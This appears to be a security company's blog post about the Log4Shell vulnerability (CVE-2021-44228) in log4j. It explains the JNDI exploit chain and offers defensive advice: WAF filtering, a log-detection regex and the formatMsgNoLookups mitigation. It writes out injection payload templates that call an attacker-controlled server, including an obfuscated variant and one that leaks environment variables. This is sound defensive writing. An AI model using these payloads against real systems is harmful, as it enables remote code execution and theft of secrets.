Log4Shell vulnerability CVE-2021-44228, the new cyber-apocalypse

The detection of the Log4Shell vulnerability just 4 days ago could have serious consequences given that the log4j component is embedded in hundreds of millions of applications and servers

On 9 December 2021, we were caught off guard by the first proof of concept demonstrating the real impact of the vulnerability CVE-2021-44228, also known as Log4Shell, about its vulnerable component log4j, which affects the security of hundreds of millions of applications and servers around the world.

The scale of this software vulnerability is difficult to grasp at this stage, as log4j is embedded in countless applications, and the avenues of exploitation can only grow as time goes on.

Every time an application with the vulnerable log4j module generates an audit trail, for example when a log of a user’s browsing or login attempt is saved, the vulnerable code is executed with a critical impact of 10 out of 10 according to the CVSS standard.

In the absence of knowing whether a URL centralizing vulnerable products will be consolidated, the following resources seem good starting points to understand which applications are affected by the Log4shell vulnerability:

https://gist.github.com/noperator/d360de81c061bc9c628b12d3f0e1e479

https://github.com/YfryTchsGD/Log4jAttackSurface

A new Log4j version, a big unknown

As much as Apache has rushed to release Log4j 2.15.0, which fixes the Log4Shell vulnerability, its implementation is far from immediate without running the risk of affecting the application using it. And this, in the best-case scenario in which it is very clear which applications use the vulnerable component.

As with other vulnerabilities in the past, many applications and custom developments will be left out of the loop due to a lack of knowledge of the components they use.

What we know today is not much, but it could make the difference between being reasonably protected or not. It’s for this reason that we list below a series of data that could help in the creation of a Compromise Indicators oriented to partially mitigate the risks of Log4Shell in those applications that cannot be updated immediately:

The attack vector is via JNDI (Java Naming and Directory Interface), which allows attackers to remotely provide a URL that defines both the protocol and the resource to query, such as:

${jndi:ldap://<SERVER>/<resource>}

${jndi:dns://<SERVER>/<resource>}

${jndi:ldap://${env:<user>}.<SERVER>/<resource>}

So if an attacker could raise his server, from which the above calls are received, he could perform JNDI injection attacks.

The Log4Shell CVE exploit route

And indeed, this is the process that currently available Log4j exploits follow:

1. The server hosting the vulnerable application logs information containing the malicious payload, such as: ${jndi:ldap://[server]/[payload]}, where server is controlled by the remote attacker and payload contains the command we wish to execute.
2. The vulnerability is triggered and the server requests the attacker’s server via JNDI.
3. The response from the attacker’s server contains the path to a malicious Java class (e.g. https://[server]/exploit.class), which is injected into the context of the vulnerable application.
4. The injected payload allows the attacker to execute arbitrary code.

In this context, and as long as a vulnerable application cannot be updated immediately, there is some room for maneuver to defend against the attack as it is currently known. Among the activities that could be carried out are the following:

Filtering at the communications level (e.g. in the WAF) to detect jndi:xxx patterns, where xxx is any of the protocols that could support injection: ldap, ldaps, rmi, or dns. It’s possible that new protocols could emerge over time. It is recommended to pay special attention to obfuscation possibilities, such as:

${jndi:${lower:l}${lower:d}ap://<SERVER>/<payload>}

Detection through application logs, with patterns such as ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’

Prevention of malicious server resolution, by running the vulnerable application with the log4j2.formatMsgNoLookups=true property (e.g. java -Dlog4j2.formatMsgNoLookups=true -jar myvulenrableapp.jar) or with the LOG4J_FORMAT_MSG_NO_LOOKUPS=true environment variable.

This vulnerability is very reminiscent of the famous ShellShock vulnerability. And this warns us of how complex it could be to detect which applications are vulnerable, and in what way (and how creatively) it could be exploited.

For more information on the detection of this or other threats, do not hesitate to consult our Threat Hunting services or our BlackArrow website.

Discover our work and cybersecurity services at www.tarlogic.com